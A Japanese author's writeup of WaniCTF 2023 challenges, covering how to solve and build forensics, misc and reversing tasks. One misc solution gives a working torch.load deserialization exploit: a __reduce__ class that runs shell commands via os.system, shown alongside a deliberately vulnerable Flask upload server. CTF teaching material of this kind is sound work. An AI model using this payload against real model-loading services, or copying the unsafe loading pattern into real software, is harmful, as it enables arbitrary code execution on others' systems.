WaniCTF 2023 作問者writeup + 作問方法

# はじめに
この記事はMikkaによる，WaniCTF 2023 の作問者writeupです．

Writeupを上げるにしては1年ほど遅いですが，代わりに問題ファイルの作成方法も載せてみます．

私が作問初心者のとき，作問方法の例になるような記事が全然見つからなくて困ったことがあったので，この記事が誰かの助けになれば幸いです．

ちなみに，2024/6/21にはWaniCTF 2024が開催されます．

なお，筆者はWSLのUbuntu 20.04を使用しています．

# forensics
## Just_mp4
### 解説
mp4ファイルが渡されます．
```
exiftool chall.mp4
```
などによりプロパティを見に行くと，flag_base64: ... というメッセージが格納されています．
これをbase64デコード．

### 作問
適当なmp4ファイルを作成した後，exiftoolでメタデータを編集する．
```
exiftool -flag=hogehoge chall.mp4
```

## whats_happening
### 解説
いくつかのファイルが格納されたバイナリファイルが渡されます．

foremostを使用したり，Stirling等のバイナリエディタを使用してpngファイルを抜き出します．

ちなみに，pngファイルのヘッダは`臼NG (89 50 4E 47)`で始まります．
### 作問
解答となるpngファイルとその他適当なダミーファイルを入れたzipファイルを用意します．

そして，stirling等のバイナリエディタでzipファイルの構造情報を一部適当に書き換えます．
拡張子も消してしまえば，解凍はできないが中身はそのままな壊れたzipファイルが出来上がります．

## lowkey_messedup
### 解説
pcapファイルが渡されます．Wiresharkで見ると，USBのパケットであることが分かります．

USBのパケットはいくつか種類がありますが，通信量の少なさや単純さから，キーボードの通信と予想できます．

パケットのデータ部分には2桁の16進数か，それに0x020000が加算されたものが送信されており，これがHIDキーコードです．

キーボードの入力から復元するコードはググれば出てくるので，適当なコードで復元してしまいましょう．今ならChatGPTでも行けるかもしれない．

ちなみに，`0x020000` (Left Shift)や`0x2A` (backspace)の処理を忘れたまま提出する人が割と多かったです．

### 作問
Wiresharkを起動し，USBで接続したキーボードとPCの通信を見つけ出します．
適当なメモ帳にキーボードで入力し，それをWiresharkで記録します．

## beg_for_a_peg
### 解説
pcapファイル問題2つ目です．

パケットを目で追うと，flag.jpgが送信されていることが分かります．

`右クリック → 追跡 → TCPストリーム` と操作するとこの画像のパケットのみを追うことができます．
raw形式で保存するとWiresharkが画像データだけを抜き出してくれます．

これはflag.jpgと一緒に送信されていた，適当に描いたダミーデータです．
<img width="150" alt="pug.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/609800/a4d3e393-b4bc-8b8e-ae2d-f611838948e5.jpeg">　<img width="150" alt="dum.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/609800/c3bb6497-c289-bf02-7c7c-4156cf9dddb7.jpeg">


### 作問方法
Pythonで(言語はなんでもいいです)，TCPで画像を表示するだけのWebページのサーバプログラムを作成します．
``` server.html
<img src="dum.jpg" width="256">
<img src="flag.jpg" width="256">
<img src="pug.jpg" width="256">
```
サーバのPythonプログラムは長いので割愛しますが，手元の通信でパケットを取れればいいので単純なもので十分です．

サーバが出来たら手元でそのWebページを開き，Wiresharkでその通信を記録します．

## Apocalypse
### 解説
画像の一部が表示されないPNGファイルが渡されます．

バイナリを見ると `IEND` (PNGの終わりを示すチャンク) が2つあるので片方を消す，という問題でした．

うさみみハリケーンで解けるらしいです．試してなかった……

### 作問

適当なPNGをバイナリエディタで開き，適当な所で偽装したIENDチャンクを手書きする．

# misc
## machine_loading
"機械学習のモデルを試すことができるWebサービス" の，開発中のサーバのPythonプログラムを見せてもらえます．

アップロードされたファイルをそのままtorch.load()してしまう部分があるので，そこを狙います．

torch.loadで読み込めるファイルはtorch.saveで出力できますが，このファイルは機械学習モデルというよりはPythonのclassをそのまま保存するものなので，任意コード実行ができてしまいます．
```
ls > ./output_dir/output.txt
cat ./flag.txt > ./output_dir/output.txt
```
というコードを実行したいので，ソルバーは以下の通りです．
``` solver.py
import os
import torch

class Exploit(object):
    def __reduce__(self):
        # cmd = ('ls > ./output_dir/output.txt') # step 1
        cmd = ('cat ./flag.txt > ./output_dir/output.txt') # step 2
        return os.system, (cmd,)

# torch.save(Exploit(), 'solver_ls.ckpt') # step 1
torch.save(Exploit(), 'solver_cat.ckpt') # step 2
```

### 作問方法

この問題は`torch.save()`と`torch.load()`を攻略して欲しい問題なので，サーバプログラムは`torch.load()`を使う，アップロード機能を持った適当なWebサイトで十分でした．

大事な所だけ抜き出して色々削ったコードですが，サーバはこんな感じです．Flaskを使用しています．
``` server_sample.py
def modelload(file):
    with BytesIO(file.read()) as f:
        torch.load(f)
        
@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    modelload(file)
    
    with open("output_dir/output.txt", "r") as f:
        msg = f.read()
    os.remove("output_dir/output.txt")

    return f"File loaded successfully: {msg}"
```

# reversing
## Just_Passw0rd
### 解説
ELFファイルが渡されます．
実行するとパスワードの入力を求められますが，実は実行ファイル内にFLAGが平文で置いてあります．
```
strings just_password
```
### 作問
入力を受け付けて処理して，パスワードが合ってたらFLAGを出力するようなプログラムを書きます．
stringsで出て欲しいので，FLAGはそのまま書きます．
``` src.c
printf("Correct!\nFLAG is FLAG{dummy}\n");
```

## javersing
### 解説
jarファイルが渡されます．
適当なjavaのデコンパイラがオンライン・オフライン問わず配布されているので，それを使ってデコンパイルします．

後は普通にjavaを読んで手元で再現すればokです．

### 作問
FLAGを暗号化した文字列を変数として，それを復号するようなjavaプログラムを書き，jarファイルにします．
jarをデコンパイルしてFLAGを見て欲しいので，FLAGはprintlnせず，プログラム中にも平文としては現れないようにします．

## theseus
### 解説
Ghidraなどで見ると，アセンブリコードに直接足し算をしていることが分かります．

プログラムとアセンブリコードを見て，足し算を手元で再現する問題でした．

angrで解けるみたいです．angrの方が楽ですね．

### 作問

作問コンセプトに合うように，mprotectで書き換えができるようにします．
compareという関数で定義される変数を直接書き換えており，書き換えた後のcompareが入力したFLAGが合っているかどうかをチェックする，という感じです．

``` src.c
    int page_s = getpagesize();
    void *comp_add = (void*)compare;
    void* page_add = (void*)((unsigned long)(comp_add) & ~(page_s - 1));

    mprotect(page_add, page_s, PROT_READ|PROT_WRITE|PROT_EXEC);
    ...
        if (i <= 7){
            ((unsigned char*)comp_add)[37+(i)] = ((unsigned char*)comp_add)[37+(i)] + temp;
    ...
    for (int i=0;i<26;i++){
        if(compare(input[i],i) == 0){
            printf("Incorrect.\n");
            return 1;
        }
    }
    printf("Correct!\n");
    return 0;
```

# 感想
TheseusやApocalypseはもうちょっとうまく問題を作れたかな，と思っています……
が，思っていた以上にたくさん作問していたので，一年前の自分は頑張っていたと思います．

作問した問題はほとんど好評で，色々嬉しい感想も頂いたので，感無量です．
WaniCTF 2024もよろしくお願いします．